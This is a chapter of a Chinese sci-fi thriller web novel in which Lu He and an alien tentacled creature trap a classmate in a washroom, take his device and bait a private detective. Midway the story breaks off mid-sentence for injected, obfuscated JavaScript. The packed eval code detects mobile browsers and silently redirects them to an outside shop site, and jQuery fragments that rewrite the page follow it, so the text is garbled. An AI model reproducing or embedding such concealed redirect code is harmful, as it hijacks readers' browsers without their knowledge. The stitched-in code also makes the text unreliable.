朱港明将微型摄影机卡在领口,一路上了楼梯。
他内心暗骂真是该死,陆禾怎么偏偏挑这个时候跑去案发现场。
那个私家侦探也是,这样真能找到什么吗?
朱港明不懂刑侦破案,只担心自己会被老师点到名然后记缺席。
他给室友发了条消息说如果老师考勤了看看能不能帮他个忙,后者也没回复。
愈发急躁的朱港明加快了点脚步,一直到了洗手间门口。
敞开的洗手间大门里,一片黑洞洞的。
像是未知巨兽的巨口,能把人直接吞噬。
朱港明竖起耳朵,并没有听到里面有什么说话的声音,甚至连人活动的动静也没有。
他给私家侦探发了消息汇报情况,那边沉默了许久,最后发来一条。
[未知号码:进去看看,小心些]
朱港明嗤了一声。
装得神神道道的,还以为是什么很厉害的大侦探呢。
走进洗手间,朱港明咳嗽了两声。
没回应。
他又继续往里走了一段,不知什么时候天阴了,门外的光线照不进来,四周愈发昏暗。
洗手间里太黑了,还有一股奇怪的味道。
朱港明想到张朗被发现时的惨状。
虽然他没有亲眼看到,但各种以讹传讹说得绘声绘色的描述,才让人忍不住去脑补得更加恐怖。
一阵凉风不知道从哪里吹来,拂过后脖颈,激起一片鸡皮疙瘩。
腰侧传来一阵被触碰的感觉,悄无声息。
“啊!”朱港明叫出声来,“是谁!”
但他伸手去抓,却什么也没有抓到。
朱港明心跳加速,伸手去摸墙壁上的开关,在摸到一个方形的突起区域后,终于松了一口气。
啪。
哐!
灯光亮起,驱散了黑暗,朱港明稍松一口气的同时,开始疑惑刚刚那跟着开关一起响起的声音究竟是什么。
他下意识地抬起头观察,却直接吓了个魂飞魄散。
每层楼的洗手间格局都一样,所以朱港明才能在黑暗里找到开关。
洗手间的门口正对着的就是洗手台,台面上的墙壁嵌了一面镜子。
而此时,冰冷泛着雾痕的镜面上,有两个红得像鲜血一般,正往下滑落出无数道血痕的大字。
你好
朱港明张着嘴发出漏气的惊叫,但转过头的时候,他才知道刚刚那哐的一声,是身后洗手间的大铁门被人从外面拉上的声音。
之前太黑,他又害怕,注意力全在洗手间内部,完全没注意到身后的变化。
而此时再伸手去拉,已经拉不开了。
一门之隔的走廊外。
陆禾听见门板后朱港明的哭腔,夹杂着“有人吗”,“是你吗陆禾”,“放我出去”之类的尖叫。
他手掌一翻,掌心里拿着的,正是朱港明放在腰间口袋的光脑。
触手灵活地摆动了一下,陆禾伸手摸了摸祂。
“真厉害。”陆禾夸赞了一句。
触手又晃了晃,圈着陆禾的脖子,吃饱了也不乱钻了,腕足尖端翘着拨弄陆禾柔软的耳朵。
陆禾也没管,任凭触手把自己的耳朵弄得红红的,覆盖上了湿漉漉的黏液。
他打开朱港明的光脑。
有密码锁。
他刚抬起头,一根触手从旁伸来,在屏幕上调出一个陆禾从没见过的界面,迅速按了一大串看不懂的代码之后,光脑的密码锁就自动解开了。
陆禾很快找到了那个“陌生号码”。
因为来得着急,加上心情不佳,这一次朱港明并没有及时删除双方的沟通记录。
陆禾看完后,终于确定了自己的猜想。
朱港明在提张朗家收集证据,打算把杀人的罪过扣到他头上。
虽然真正的凶手并不是他,而是现在他肩膀上趴着的这位。
但是不论是朱港明还是张朗家里,都不在乎这个,朱港明是为了钱,而张朗家里,只想找个人给自己的儿子陪葬。
而陆禾……也不在乎。
事情发展到这一步,陆禾看了看手里的光脑,谁做的,也许早已并没有什么分别。
[陌生号码:汇报进度]
双目微垂,陆禾眼底的神色晦暗不明。
其实今天的这一切都在他的算计之中。
刑侦届有一条十分出名且被高度认同的定律:各种案件的侦破情况表明,行凶者在案发后的一段时间内,有很大的概率会回到作案地点,欣赏自己的杰作。
这条定律,张家请的私家侦探也一定知道。
所以陆禾跟他玩的就是反心理。
他在对话框里敲下一行字。
[证据已找到,陆禾要杀我!]
[救命!]
如果说光脑在朱港明手里,他可能会求助同学、朋友,甚至报警,更甚至他求助了那私家侦探,对方为了不打草惊蛇,可能会放弃这颗棋子。
但当朱港明掌握了“陆禾犯罪的绝对性证据”的情况下呢?
背后控制他的人,一定坐不住。
做完这一切,陆禾将手里的光脑递到肩头,触手随意地将光脑卷走。
祂主要的心思还是在玩陆禾的耳朵。
软软的,耳廓已经被吸盘弄红了。
陆禾亲眼看着,不过数息之间,连承载超万吨的运输空间车碾压后依旧能保存记忆芯片元件的光脑,就在那看着柔软的触手包裹下,化作了一片齑粉。
他唯一能想到的解释,就是K-13星球的生物对物质甚至是化学元素的掌控程度也到了很高的水平。
联想到祂所展现出来的幼年期就碾压成年人类博士的智慧,陆禾觉得似乎也并不怎么意外。
就是缠在自己脖子上的东西,是不是有点危险?
似乎是察觉到了陆禾的心思。
腕足尖端抬起,轻轻地碰了碰陆禾的唇。
陆禾不曾多想,下意识舔了舔发干的唇。
“又饿了?”
看了一眼时间,他还能回实验室喝杯水。
陆禾下楼的时候还担心祂会被发现或者被监控拍到,但是当路过摄像头时,平日里会追着人转动的镜头依旧一动不动,陆禾就猜到,应该是祂把摄像头黑掉了。
回到工位上,实验室里依旧空无一人。
祂明显还记得这地方,触手戳了戳桌面上的培养皿。
陆禾望着这一幕,很想打个商量看看能不能让祂允许自己切一小块下来做实验用。
但想了想,陆禾还是没有冒这个险。
楼下传来一阵汽车的轰鸣声,陆禾走到床边。
视线自高处垂落,车门打开时,露出了灰色格子的布料一角。
陆禾转身,上了楼。
*
朱港明整个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984280|147843||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人缩在洗手间的一角里,望着从紧闭的大门缝隙中将将透出来的一点光亮,抖若筛糠。
他从刚刚开始就求着陆禾把自己放出去,但门外始终一片安静,无人回应。
而在摸到自己空荡荡的口袋,意识到光脑不翼而飞的那一刻,心中的绝望便达到了极点。
出不去门,联系不了外界,顶楼发生过命案的洗手间……
怎么听,都不像是有活路的感觉。
陆禾是要把他困死在这。
朱港明猛地想到:莫非张朗的死,真与陆禾有关?
他想要的只是那20万,却不曾真的相信过,平日里脾气温和,很好欺负的陆禾,真的会和杀人事件扯上关系!
完了,全完了……
他越想越觉得,这洗手间里是不是开始冒出一股血腥味了。
咚咚咚——
铁皮门无端被砸得砰砰响,精神面临崩溃的朱港明直接叫了出来。
门外很快传来了一声叫骂。
“朱港明你在里面吗?”
朱港明辨认出那声线,惊叫道:“我在里面!快开门!”
哐当一声,铁皮门缓缓开启,朱港明再次见到阳光的那一刻,激动得快要流下眼泪。
但相比起他的激动。
整个人被包裹在灰格呢子大衣里的私家侦探,表情有些阴沉。
“你说的证据呢?”他问。
朱港明一愣:“什么证据?”
“你光脑发给我的东西啊!”侦探将自己的光脑举到朱港明面前,屏幕上是两个号码之间的聊天记录。
“不,不是我啊!”朱港明下意识地辩驳了一句,手掌在口袋之间摸索,“我光脑不见了……”
他说到一半反应过来了。
这是一个陷阱!
私家侦探也反应过来了,怒火升腾,气得牙关紧咬。
他望着面前一脸无措的朱港明,气得直接一巴掌扇了过去。
朱港明耳边听见了辣得发疼的嗡鸣声。
规划好的行动全部被打乱,私家侦探冷着脸在原地思考该怎么挽救现在的局面。
敏锐地察觉到了点动静,他猛地转头望去。
此处正对大楼另一侧的楼梯间。
侧墙的窗户开着,阳光在台阶上铺下一个三角形的光斑,除此之外,没有其他。
错觉吗。
侦探缓缓收回目光。
而另一侧楼梯里,陆禾的后背贴着泛凉的墙壁,而面前倾身上来的,亦是一片湿凉。
刚刚那侦探回过头的动作太突然,一直站在窗前冷眼旁观的陆禾根本没反应过来。
但祂却像是早有预感,直接把愣在原地的自己拉进了旁边的隐蔽处里。
结论已经十分明了,张朗家盯上了他。
对方虽不是什么高门大户,但碾死陆禾这样一个普通人,不要太容易。
而现在自己唯一可以依靠的可能,就只有祂了。
既然如此·……
望着面前游动的触手,陆禾顺从地仰起脖颈,让其中一根绕上自己的脖子。
指节轻轻蹭了一下腕足,后者打了个旋。
?
“没事。”
陆禾向后靠上墙壁,望着头顶的天花板。
他总该做点什么。
至少得弄清楚,自己在“祂”心里的分量。
又能将祂利用到一个什么样的程度。